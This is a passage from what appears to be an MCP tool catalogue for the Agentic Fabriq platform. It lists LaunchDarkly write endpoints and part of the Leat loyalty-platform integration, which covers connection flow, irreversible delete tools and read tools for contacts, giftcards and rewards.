writer. launchdarkly_post_projects (write) — Post project via POST /api/v2/projects POST /api/v1/launchdarkly/api/v2/projects. Scopes: writer. launchdarkly_post_projects_by_projectkey_agent_graphs (write) — Post agent graph via POST /api/v2/projects/{projectKey}/agent-graphs POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-graphs. Scopes: writer. launchdarkly_post_projects_by_projectkey_agent_optimizations (write) — Post agent optimization via POST /api/v2/projects/{projectKey}/agent-optimizations POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations. Scopes: writer. launchdarkly_post_projects_by_projectkey_agent_optimizations_by_optimizationkey_results (write) — Post agent optimization result via POST /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs (write) — Post aiconfig via POST /api/v2/projects/{projectKey}/ai-configs POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs_by_configkey_variations (write) — Post aiconfig variation via POST /api/v2/projects/{projectKey}/ai-configs/{configKey}/variations POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/variations. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs_model_configs (write) — Post model config via POST /api/v2/projects/{projectKey}/ai-configs/model-configs POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs_model_configs_restricted (write) — Post restricted models via POST /api/v2/projects/{projectKey}/ai-configs/model-configs/restricted POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/restricted. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs_prompt_snippets (write) — Post prompt snippet via POST /api/v2/projects/{projectKey}/ai-configs/prompt-snippets POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_configs_skills (write) — Post agent skill via POST /api/v2/projects/{projectKey}/ai-configs/skills POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills. Scopes: writer. launchdarkly_post_projects_by_projectkey_ai_tools (write) — Post aitool via POST /api/v2/projects/{projectKey}/ai-tools POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments (write) — Post environment via POST /api/v2/projects/{projectKey}/environments POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers (write) — Post adaptive trigger via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers_by_triggerid_disable (write) — Post disable adaptive trigger via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}/disable POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}/disable. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers_by_triggerid_enable (write) — Post enable adaptive trigger via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}/enable POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}/enable. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_apikey (write) — Reset environment sdkkey via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/apiKey POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/apiKey. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_context_instances_search (write) — Search context instances via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/search POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/search. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_contexts_search (write) — Search contexts via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/search POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/search. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_experiments (write) — Create experiment via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/experiments POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/experiments. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_experiments_by_experimentkey_iterations (write) — Create iteration via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey}/iterations POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey}/iterations. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_flags_evaluate (write) — Evaluate context instance via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/flags/evaluate POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/flags/evaluate. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_holdouts (write) — Post holdout via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_mobilekey (write) — Reset environment mobile key via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/mobileKey POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/mobileKey. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_sdk_keys (write) — Post sdk key via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys. Scopes: writer. launchdarkly_post_projects_by_projectkey_environments_by_environmentkey_segments_evaluate (write) — Get context instance segments membership by env via POST /api/v2/projects/{projectKey}/environments/{environmentKey}/segments/evaluate POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/segments/evaluate. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests (write) — Post approval request for flag via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_by_id_apply (write) — Post approval request apply for flag via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}/apply POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}/apply. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_by_id_reviews (write) — Post approval request review for flag via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}/reviews POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}/reviews. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_flag_copy (write) — Post flag copy config approval request via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests-flag-copy POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests-flag-copy. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_scheduled_changes (write) — Post flag config scheduled changes via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_workflows (write) — Post workflow via POST /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows. Scopes: writer. launchdarkly_post_projects_by_projectkey_flags_by_flagkey_environments_by_environmentkey_migration_safety_issues (write) — Post migration safety issues via POST /api/v2/projects/{projectKey}/flags/{flagKey}/environments/{environmentKey}/migration-safety-issues POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{flagKey}/environments/{environmentKey}/migration-safety-issues. Scopes: writer. launchdarkly_post_projects_by_projectkey_layers (write) — Create layer via POST /api/v2/projects/{projectKey}/layers POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/layers. Scopes: writer. launchdarkly_post_projects_by_projectkey_metric_groups (write) — Create metric group via POST /api/v2/projects/{projectKey}/metric-groups POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/metric-groups. Scopes: writer. launchdarkly_post_projects_by_projectkey_release_pipelines (write) — Post release pipeline via POST /api/v2/projects/{projectKey}/release-pipelines POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines. Scopes: writer. launchdarkly_post_projects_by_projectkey_release_policies (write) — Post release policy via POST /api/v2/projects/{projectKey}/release-policies POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies. Scopes: writer. launchdarkly_post_projects_by_projectkey_release_policies_order (write) — Post release policies order via POST /api/v2/projects/{projectKey}/release-policies/order POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies/order. Scopes: writer. launchdarkly_post_projects_by_projectkey_views (write) — Create view via POST /api/v2/projects/{projectKey}/views POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/views. Scopes: writer. launchdarkly_post_projects_by_projectkey_views_by_viewkey_link_by_resourcetype (write) — Link resource via POST /api/v2/projects/{projectKey}/views/{viewKey}/link/{resourceType} POST /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}/link/{resourceType}. Scopes: writer. launchdarkly_post_roles (write) — Post custom role via POST /api/v2/roles POST /api/v1/launchdarkly/api/v2/roles. Scopes: writer. launchdarkly_post_segments_by_projectkey_by_environmentkey (write) — Post segment via POST /api/v2/segments/{projectKey}/{environmentKey} POST /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}. Scopes: writer. launchdarkly_post_segments_by_projectkey_by_environmentkey_by_segmentkey_contexts (write) — Update big segment context targets via POST /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/contexts POST /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/contexts. Scopes: writer. launchdarkly_post_segments_by_projectkey_by_environmentkey_by_segmentkey_exports (write) — Create big segment export via POST /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/exports POST /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/exports. Scopes: writer. launchdarkly_post_segments_by_projectkey_by_environmentkey_by_segmentkey_users (write) — Update big segment targets via POST /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/users POST /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/users. Scopes: writer. launchdarkly_post_teams (write) — Post team via POST /api/v2/teams POST /api/v1/launchdarkly/api/v2/teams. Scopes: writer. launchdarkly_post_templates (write) — Create workflow template via POST /api/v2/templates POST /api/v1/launchdarkly/api/v2/templates. Scopes: writer. launchdarkly_post_tokens (write) — Post token via POST /api/v2/tokens POST /api/v1/launchdarkly/api/v2/tokens. Scopes: writer. launchdarkly_post_tokens_by_id_reset (write) — Reset token via POST /api/v2/tokens/{id}/reset POST /api/v1/launchdarkly/api/v2/tokens/{id}/reset. Scopes: writer. launchdarkly_post_webhooks (write) — Post webhook via POST /api/v2/webhooks POST /api/v1/launchdarkly/api/v2/webhooks. Scopes: writer. launchdarkly_put_code_refs_repositories_by_repo_branches_by_branch (write) — Put branch via PUT /api/v2/code-refs/repositories/{repo}/branches/{branch} PUT /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}/branches/{branch}. Scopes: writer. launchdarkly_put_engineering_insights_repositories_projects (write) — Associate repositories and projects via PUT /api/v2/engineering-insights/repositories/projects PUT /api/v1/launchdarkly/api/v2/engineering-insights/repositories/projects. Scopes: writer. launchdarkly_put_projects_by_projectkey_context_kinds_by_key (write) — Put context kind via PUT /api/v2/projects/{projectKey}/context-kinds/{key} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/context-kinds/{key}. Scopes: writer. launchdarkly_put_projects_by_projectkey_experimentation_settings (write) — Put experimentation settings via PUT /api/v2/projects/{projectKey}/experimentation-settings PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/experimentation-settings. Scopes: writer. launchdarkly_put_projects_by_projectkey_flag_defaults (write) — Put flag defaults by project via PUT /api/v2/projects/{projectKey}/flag-defaults PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/flag-defaults. Scopes: writer. launchdarkly_put_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_followers_by_memberid (write) — Put flag follower via PUT /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers/{memberId} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers/{memberId}. Scopes: writer. launchdarkly_put_projects_by_projectkey_flags_by_flagkey_release (write) — Create release for flag via PUT /api/v2/projects/{projectKey}/flags/{flagKey}/release PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{flagKey}/release. Scopes: writer. launchdarkly_put_projects_by_projectkey_flags_by_flagkey_release_phases_by_phaseid (write) — Update phase status via PUT /api/v2/projects/{projectKey}/flags/{flagKey}/release/phases/{phaseId} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{flagKey}/release/phases/{phaseId}. Scopes: writer. launchdarkly_put_projects_by_projectkey_release_pipelines_by_pipelinekey (write) — Put release pipeline via PUT /api/v2/projects/{projectKey}/release-pipelines/{pipelineKey} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines/{pipelineKey}. Scopes: writer. launchdarkly_put_projects_by_projectkey_release_policies_by_policykey (write) — Put release policy via PUT /api/v2/projects/{projectKey}/release-policies/{policyKey} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies/{policyKey}. Scopes: writer. launchdarkly_put_projects_projectkey_environments_environmentkey_contexts_contextkind_contextkey_flags_featureflagkey (write) — Put context flag setting via PUT /api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/{contextKind}/{contextKey}/flags/{featureFlagKey} PUT /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/{contextKind}/{contextKey}/flags/{featureFlagKey}. Scopes: writer. launchdarkly_put_users_by_projectkey_by_environmentkey_by_userkey_flags_by_featureflagkey (write) — Put flag setting via PUT /api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags/{featureFlagKey} PUT /api/v1/launchdarkly/api/v2/users/{projectKey}/{environmentKey}/{userKey}/flags/{featureFlagKey}. Scopes: writer. ================================================================================ ## Leat URL: https://www.agenticfabriq.com/integrations/leat Section: Integrated Tools Leat — 158 MCP tools Provider key: leat. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. leat_delete_contact_identifiers (write, destructive) — Delete Contact Identifier (Contact Identifiers) via DELETE /contact-identifiers. Deletes an Contact Identifier. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. DELETE /api/v1/leat/contact-identifiers. Scopes: api. leat_delete_product_categories_by_uuid (write, destructive) — Delete Category (Categories) via DELETE /product-categories/{uuid}. Delete a specific Category in the Leat system. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. DELETE /api/v1/leat/product-categories/{uuid}. Scopes: api. leat_delete_products_by_uuid (write, destructive) — Delete Product (Products) via DELETE /products/{uuid}. Delete a specific Product in the Leat system. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. DELETE /api/v1/leat/products/{uuid}. Scopes: api. leat_delete_shifts_by_shift_uuid (write, destructive) — Delete Shift (Shifts) via DELETE /shifts/{shift_uuid}. Deletes an existing Shift. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. DELETE /api/v1/leat/shifts/{shift_uuid}. Scopes: api. leat_delete_webhook_subscriptions_by_webhook_subscription_uuid (write, destructive) — Delete Webhook Subscription (Webhooks) via DELETE /webhook-subscriptions/{webhook_subscription_uuid}. Removes an existing Webhook Subscription. DESTRUCTIVE AND IRREVERSIBLE: Leat publishes no undo, no restore and no recycle bin for this, and on a loyalty ledger a reversal, a merge or an unlink cannot be replayed. DELETE /api/v1/leat/webhook-subscriptions/{webhook_subscription_uuid}. Scopes: api. leat_get_automations (read) — List Automations (Automations) via GET /automations. Get an overview of all created Automations for an account. GET /api/v1/leat/automations. Scopes: api. leat_get_brand_kit (read) — Get Brand Kit (Brand Kit) via GET /brand-kit. Retrieve the details of your account's Brand Kit with this call. It allows you to access all the branding elements associated with your account, including logos, color schemes, and font styles. GET /api/v1/leat/brand-kit. Scopes: api. leat_get_collectable_rewards (read) — List Collectable Rewards (Collectable Rewards) via GET /collectable-rewards. Retrieve a collection of Physical Rewards that still need to be picked up at the Shop by the Contact that has claimed them remotely. GET /api/v1/leat/collectable-rewards. Scopes: api. leat_get_contact_attributes (read) — List Contact Attributes (Contact Attributes) via GET /contact-attributes. Display a list of Contact Attributes for your Account, including both the default ones and any Custom Attributes you've created. GET /api/v1/leat/contact-attributes. Scopes: api. leat_get_contact_identifiers_find (read) — Find Contact Identifier (Contact Identifiers) via GET /contact-identifiers/find. Finds the Contact Identifier. Returns contact as null if not yet linked to a Contact. GET /api/v1/leat/contact-identifiers/find. Scopes: api. leat_get_contact_session_tokens_by_contact_session_token (read) — Find Contact Session Token (Contact Session Tokens) via GET /contact-session-tokens/{contact_session_token}. Find a Contact's Session Token to identify and validate them. GET /api/v1/leat/contact-session-tokens/{contact_session_token}. Scopes: api. leat_get_contact_subscriptions_by_contact_uuid (read) — List Contact Subscriptions (Contact Subscriptions) via GET /contact-subscriptions/{contact_uuid}. This function retrieves a comprehensive list of all subscriptions associated with a specific Contact, identified by their UUID. It provides an easy and efficient way to view the various subscriptions a Contact is enrolled in, ensuring you have up-to-date information on their engagement with your services. GET /api/v1/leat/contact-subscriptions/{contact_uuid}. Scopes: api. leat_get_contact_verification_auth_token_by_contact_uuid (read) — Get Auth Token (Contact Verification) via GET /contact-verification/auth-token/{contact_uuid}. Retrieves an authentication token for a specific Contact, identified by their UUID. Allowing verification of the Contact's identity and granting secure access. GET /api/v1/leat/contact-verification/auth-token/{contact_uuid}. Scopes: api. leat_get_contacts (read) — List Contacts (Contacts) via GET /contacts. Retrieve a list of Contacts with pagination. The pagination has default values, but you can alter those by supplying the page and limit parameters including values with the call. Please note: the attributes array is now deprecated. GET /api/v1/leat/contacts. Scopes: api. leat_get_contacts_by_contact_uuid (read) — Get Contact (Contacts) via GET /contacts/{contact_uuid}. Retrieve a specific Contact with the the using its UUID. Please note: the attributes array is now deprecated. GET /api/v1/leat/contacts/{contact_uuid}. Scopes: api. leat_get_contacts_by_contact_uuid_contact_identifiers (read) — Get Contact Identifiers (Contacts) via GET /contacts/{contact_uuid}/contact-identifiers. Use this endpoint to retrieve a Contact's Contact Identifiers. GET /api/v1/leat/contacts/{contact_uuid}/contact-identifiers. Scopes: api. leat_get_contacts_by_contact_uuid_credit_balance (read) — Get Credit Balance (Contacts) via GET /contacts/{contact_uuid}/credit-balance. Retrieve the current Credit Balance of a specific Contact, identified through their UUID. GET /api/v1/leat/contacts/{contact_uuid}/credit-balance. Scopes: api. leat_get_contacts_by_contact_uuid_prepaid_balance (read) — Get Prepaid Balance (Contacts) via GET /contacts/{contact_uuid}/prepaid-balance. Use this function to retrieve the Prepaid Balance of a particular Contact, identified by their UUID. GET /api/v1/leat/contacts/{contact_uuid}/prepaid-balance. Scopes: api. leat_get_contacts_by_contact_uuid_tier (read) — Get Tier (Contacts) via GET /contacts/{contact_uuid}/tier. Use this endpoint to retrieve the current loyalty Tier of a specific Contact. It’s useful for understanding a Contact's loyalty status and offering them tailored Rewards based on their Tier. GET /api/v1/leat/contacts/{contact_uuid}/tier. Scopes: api. leat_get_contacts_find_one_by (read) — Find Contact (Contacts) via GET /contacts/find-one-by. Find a Contact by email address. To find a Contact using an identifier, see Contact Identifiers. Please note: the attributes array is now deprecated. GET /api/v1/leat/contacts/find-one-by. Scopes: api. leat_get_contacts_find_or_create (write) — Find or Create Contact (Contacts) via GET /contacts/find-or-create. Find Contact by email address or – if no Contact exists yet for this email address – our API creates a new Contact for the email address you just supplied and returns the newly created Contact in the response. GET /api/v1/leat/contacts/find-or-create. Scopes: api. leat_get_contacts_find_or_create_async (write) — Find or Create Contact Async (Contacts) via GET /contacts/find-or-create/async. If a Contact needs to be retrieved or created *quickly* and any system values that are normally created upon contact creation aren't relevant, this can be used. This API call is much faster than the 'regular' find or create API call; only the Contact's UUID will be returned on the response in this instance. GET /api/v1/leat/contacts/find-or-create/async. Scopes: api. leat_get_contacts_portal_auth_url (read) — Get Authenticated Url (Contacts Portal) via GET /contacts-portal/auth-url. This function generates a secure, authenticated URL specifically for a given Contact, identified by their UUID. This URL grants the Contact access to the portal, ensuring a safe and personalized experience. GET /api/v1/leat/contacts-portal/auth-url. Scopes: api. leat_get_credit_receptions_calculate (read) — Calculate Credits (Credit Receptions) via GET /credit-receptions/calculate. Without actually creating a Credit Reception, this API call can be used to calculate how many credits would be issued if a Credit Reception was to be made with the given values. Please note, that there is a (small) possibility of a divergence in credits between the calculation and the actual Credit Reception, if loyalty rule filters are in place that are time-based (e.g. a happy hour rule). GET /api/v1/leat/credit-receptions/calculate. Scopes: api. leat_get_custom_attribute_groups (read) — List Custom Attribute Groups (Custom Attribute Groups) via GET /custom-attribute-groups. Retrieve all Custom Attribute Groups for a specific entity. GET /api/v1/leat/custom-attribute-groups. Scopes: api. leat_get_custom_attributes (read) — List Custom Attributes (Custom Attributes) via GET /custom-attributes. Get a list of Custom Attributes for a specified entity. GET /api/v1/leat/custom-attributes. Scopes: api. leat_get_forms (read) — List Forms (Forms) via GET /forms. Retrieve of all Forms linked to an Account. It's possible to filter both on status and type GET /api/v1/leat/forms. Scopes: api. leat_get_giftcard_programs (read) — List Giftcard Programs (Giftcard Programs) via GET /giftcard-programs. Retrieve a list of your Giftcard Programs. GET /api/v1/leat/giftcard-programs. Scopes: api. leat_get_giftcard_transactions (read) — List Giftcard Transactions (Giftcard Transactions) via GET /giftcard-transactions. This API call provides a list of all Giftcard Transactions. It offers filtering options based on per-page count, page number, Giftcard hash, Giftcard Program UUID, and Shop UUID. GET /api/v1/leat/giftcard-transactions. Scopes: api. leat_get_giftcard_transactions_by_giftcard_transaction_uuid (read) — Get Giftcard Transaction (Giftcard Transactions) via GET /giftcard-transactions/{giftcard_transaction_uuid}. Retrieve details of a specific Giftcard Transaction. By providing the transaction's UUID, you can access comprehensive information about individual transactions, allowing you to see and keep track of Giftcard Transactions, making it easier to manage Giftcards. GET /api/v1/leat/giftcard-transactions/{giftcard_transaction_uuid}. Scopes: api. leat_get_giftcards (read) — List Giftcards (Giftcards) via GET /giftcards. Returns a paginated list of Giftcards. GET /api/v1/leat/giftcards. Scopes: api. leat_get_giftcards_by_giftcard_uuid (read) — Get Giftcard (Giftcards) via GET /giftcards/{giftcard_uuid}. Finds a Giftcard by its UUID. GET /api/v1/leat/giftcards/{giftcard_uuid}. Scopes: api. leat_get_giftcards_find_one_by (read) — Find Giftcard by Hash (Giftcards) via GET /giftcards/find-one-by. Returns all relevant information for a Giftcard. Required for a create Giftcard Transaction call, as it provides all the necessary details. GET /api/v1/leat/giftcards/find-one-by. Scopes: api. leat_get_loyalty_program (read) — Get Loyalty Program (Loyalty Program) via GET /loyalty-program. This method allows you to retrieve detailed information about a specific Loyalty Program. It provides key details such as the program's ID, name, maximum credit amount, custom_credit_name, and unit settings. This API call is allows for understanding the details of the Loyalty Program for your Account. GET /api/v1/leat/loyalty-program. Scopes: api. leat_get_loyalty_transaction_attributes (read) — List Loyalty Transaction Attributes (Loyalty Transaction Attributes) via GET /loyalty-transaction-attributes. Retrieve a list of all Loyalty Transaction Attributes associated with your Loyalty Program. It's a helpful tool to view both standard and Custom Attributes, allowing for better understanding and management of the data collected through loyalty transactions. GET /api/v1/leat/loyalty-transaction-attributes. Scopes: api. leat_get_loyalty_transactions (read) — List Loyalty Transactions (Loyalty Transactions) via GET /loyalty-transactions. Returns transactions for a Loyalty Program. The results can be filtered by Contact, Shop and Loyalty Transaction type. GET /api/v1/leat/loyalty-transactions. Scopes: api. leat_get_orders (read) — List Orders (Orders) via GET /orders. Retrieve a paginated list of Orders, ordered by most recent. GET /api/v1/leat/orders. Scopes: api. leat_get_orders_find (read) — Find Order (Orders) via GET /orders/find. Use the external_identifier to find an Order. GET /api/v1/leat/orders/find. Scopes: api. leat_get_perks (read) — List Perks (Perks) via GET /perks. This API call fetches a list of all Perks with their Perk Options. GET /api/v1/leat/perks. Scopes: api. leat_get_perks_by_perk_uuid (read) — Get Perk (Perks) via GET /perks/{perk_uuid}. Retrieve a Perk with its Perk Options using its UUID. GET /api/v1/leat/perks/{perk_uuid}. Scopes: api. leat_get_portal_sessions_by_portal_session_uuid (read) — Get Portal Session (Portal Sessions) via GET /portal-sessions/{portal_session_uuid}. Retrieve a Portal Session by supplying its UUID. GET /api/v1/leat/portal-sessions/{portal_session_uuid}. Scopes: api. leat_get_prepaid_transactions (read) — List Prepaid Transactions (Prepaid Transactions) via GET /prepaid-transactions. Returns a paginated list of Prepaid Transactions, which can be filtered either by Contact or Shop. GET /api/v1/leat/prepaid-transactions. Scopes: api. leat_get_product_categories (read) — List Categories (Categories) via GET /product-categories. Retrieve all Categories. GET /api/v1/leat/product-categories. Scopes: api. leat_get_product_categories_by_uuid (read) — Get Category (Categories) via GET /product-categories/{uuid}. Get a specific Category in the Leat system. GET /api/v1/leat/product-categories/{uuid}. Scopes: api. leat_get_product_categories_find (read) — Find Category (Categories) via GET /product-categories/find. Use the external_identifier to find a Category. GET /api/v1/leat/product-categories/find. Scopes: api. leat_get_products (read) — List Products (Products) via GET /products. Lists all Products in the Leat system. GET /api/v1/leat/products. Scopes: api. leat_get_products_by_uuid (read) — Get Product (Products) via GET /products/{uuid}. Get a specific Product in the Leat system. GET /api/v1/leat/products/{uuid}. Scopes: api. leat_get_products_find (read) — Find Product (Products) via GET /products/find. Use the external_identifier to find a Product. GET /api/v1/leat/products/find. Scopes: api. leat_get_promotion_attributes (read) — List Promotion Attributes (Promotion Attributes) via GET /promotion-attributes. Retrieve a list of all Promotion Attributes associated with your Account. GET /api/v1/leat/promotion-attributes. Scopes: api. leat_get_promotions (read) — List Promotions (Promotions) via GET /promotions. Retrieves a list of all Promotions linked to an Account, providing detailed insights into each promotion's attributes such as name, description, voucher limits, and expiration periods. GET /api/v1/leat/promotions. Scopes: api. leat_get_promotions_by_promotion_uuid (read) — Get Promotion (Promotions) via GET /promotions/{promotion_uuid}. Retrieve a specific Promotion by specifying its UUID. GET /api/v1/leat/promotions/{promotion_uuid}. Scopes: api. leat_get_referrals (read) — List Referrals (Referrals) via GET /referrals. Retrieve a list of Referrals from your referral program. GET /api/v1/leat/referrals. Scopes: api. leat_get_referrals_settings (read) — Get Referral Program Settings (Referrals) via GET /referrals/settings. Retrieve a Referral program's settings, like the incentive for both the *referring* contact and the *referred* contact. GET /api/v1/leat/referrals/settings. Scopes: api. leat_get_rewards (read) — List Rewards (Rewards) via GET /rewards. This API endpoint is used to list Rewards available for to be shown in-store or to list Rewards that a specific Contact can claim, with potentially a subsequent Create Reward Reception call when a Contact claims a Reward. The list of Rewards for a particular Contact might differ from the full list of Rewards. GET /api/v1/leat/rewards. Scopes: api. leat_get_rewards_by_reward_uuid (read) — Get Reward (Rewards) via GET /rewards/{reward_uuid}. Retrieve a specific Reward by specifying its UUID. GET /api/v1/leat/rewards/{reward_uuid}. Scopes: api. leat_get_shift_teams (read) — List Teams (Shift Teams) via GET /shift-teams. Returns a paginated list of Teams for Shifts. GET /api/v1/leat/shift-teams. Scopes: api. leat_get_shift_teams_by_uuid (read) — Get Team (Shift Teams) via GET /shift-teams/{uuid}. Retrieve a Team using its UUID. GET /api/v1/leat/shift-teams/{uuid}. Scopes: api. leat_get_shift_teams_find (read) — Find Team by Name (Shift Teams) via GET /shift-teams/find. Returns all relevant information for a Team. GET /api/v1/leat/shift-teams/find. Scopes: api. leat_get_shift_types (read) — List Shift Types 